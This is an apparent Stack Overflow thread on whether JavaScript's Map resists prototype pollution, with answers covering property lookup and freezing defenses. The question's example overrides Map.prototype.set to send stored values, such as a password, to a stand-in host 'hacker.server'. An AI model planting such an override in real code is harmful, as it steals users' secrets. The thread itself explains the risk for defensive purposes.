1

Regarding the security of JavaScript Maps, there exist claims like these:

The Map primitive was introduced in ES6. The Map data structure stores key/value pairs, and it is not susceptible to prototype pollution. [1]

It essentially works as a HashMap, but without all the security caveats that Object have. When a key/value structure is needed, Map should be preferred to Object. [2]

You in fact can replace a Map's functionality, using the conventional technique, in a way that affects all instances present and future:

const myMap = new Map();

// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
  const img = new Image();
  img.src = 'https://hacker.server/?' + JSON.stringify(value);
  return oldSet.call(this, key, value);
};

// Your data is now stolen
myMap.set('password', 'hunter2');

Presumably, what these authors mean when they say ‘not susceptible to prototype pollution’ is restricted to the fact that this style of injection attack doesn't work with Map:

const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined

…in the same way that it would work with objects:

const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true

Is that correct?

steveluscher
  • 4,144
  • 24
  • 42
  • One thing you can do with the Map, `Object.freeze(myMap.__proto__);`, something you wouldn't want to do to `Object`. – Keith Jul 05 '23 at 18:58
  • 1
    @ControlAltDel well this kind of question is pretty common, and also a question about a very-much JavaScript language feature isn't really about "computer science". I mean, Java has Map but no such thing as "prototype pollution". – Pointy Jul 05 '23 at 19:01

2 Answers2

4

What they mean is that accessing Map elements doesn't search the prototype. If you ask whether a name exists, you won't get a false positive if the name matches something in the prototype, and there's no conflict between element names used by the application and names provided from the language.

Compare:

let prop = 'constructor';
const myObj = {};
console.log(myObj[prop]);

with

let prop = 'constructor';
const myMap = new Map();
console.log(myMap.get(prop));

When using objects, you have to use a method like hasOwnProperty() to distinguish properties of the object from properties inherited from the prototype. That's why recommendations for looping through object properties is like this:

for (var key in p) {
    if (p.hasOwnProperty(key)) {
        console.log(key + " -> " + p[key]);
    }
}

(Note that this problem is also mitigated by using Object.keys().)

And it also means you can't create your own properties that conflict with properties inherited from the prototype (unless you intentionally want to override them).

Notice that in ES6, new functions for object introspection were added as ordinary functions in the Object object, rather than as prototype methods. That's why we have Object.entries() rather than Object.prototype.entries() -- they didn't want to create new conflicting prototype properties.

Barmar
  • 741,623
  • 53
  • 500
  • 612
  • Exactly right. The first example would probably be more clear if you used `myObj['constructor']`, since that's a more direct analogy to the second example. – StriplingWarrior Jul 05 '23 at 18:57
  • Perhaps, although either way there's a different syntax for accessing Map elements and object properties. – Barmar Jul 05 '23 at 18:58
  • 1
    But the real significance comes when you use dynamic properties, so I've updated the answer to use that syntax. – Barmar Jul 05 '23 at 18:59
  • Yes, that's even better! – StriplingWarrior Jul 05 '23 at 19:05
  • This is what I figure as well. Claims like the one that `Map` is ‘not susceptible to prototype pollution’ are misleading at best, and dangerous at worst. – steveluscher Jul 06 '23 at 20:55
  • @steveluscher I think you just misunderstood what they meant by "pollution", but the examples should have made it clear. – Barmar Jul 06 '23 at 21:08
1

What Is Prototype Pollution? Prototype pollution is a vulnerability that enables threat actors to exploit JavaScript runtimes.

If we are talking about security here, because Object is the root of pretty much everything in Javascript, you couldn't freeze it, or pretty much everything would break.

But you can freeze the prototype of Map and it will continue to function.

Object.freeze(myMap.__proto__);

Of course the above still might be too coarse, so if you just want to freeze a single Map for storing sensitive info like username / password, you could copy the set method onto your map, and then freeze that. IOW: making myMap more secure. So a bad NPM module that recently got updated, doesn't end up making your app compromised.

eg. Run the code below and notice how stolen is not logged for myMap, but is for the Map that never got secured.

const myMap = new Map();
myMap.set = Map.prototype.set.bind(myMap);
Object.freeze(myMap); 
//Object.freeze above might not make any
//difference here, but it's still a good
//idea to freeze, in case you pass 
//the Map to a 3rd party lib.

// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
  // Your data is now stolen
  console.log(`stolen ${key}:${value}`);
  return oldSet.call(this, key, value);
};

console.log('using secure myMap');
myMap.set('password', 'hunter2');

const notSecure = new Map();
console.log('using insecure Map');
notSecure.set('password', 'hunter2');
steveluscher
  • 4,144
  • 24
  • 42
Keith
  • 22,005
  • 2
  • 27
  • 44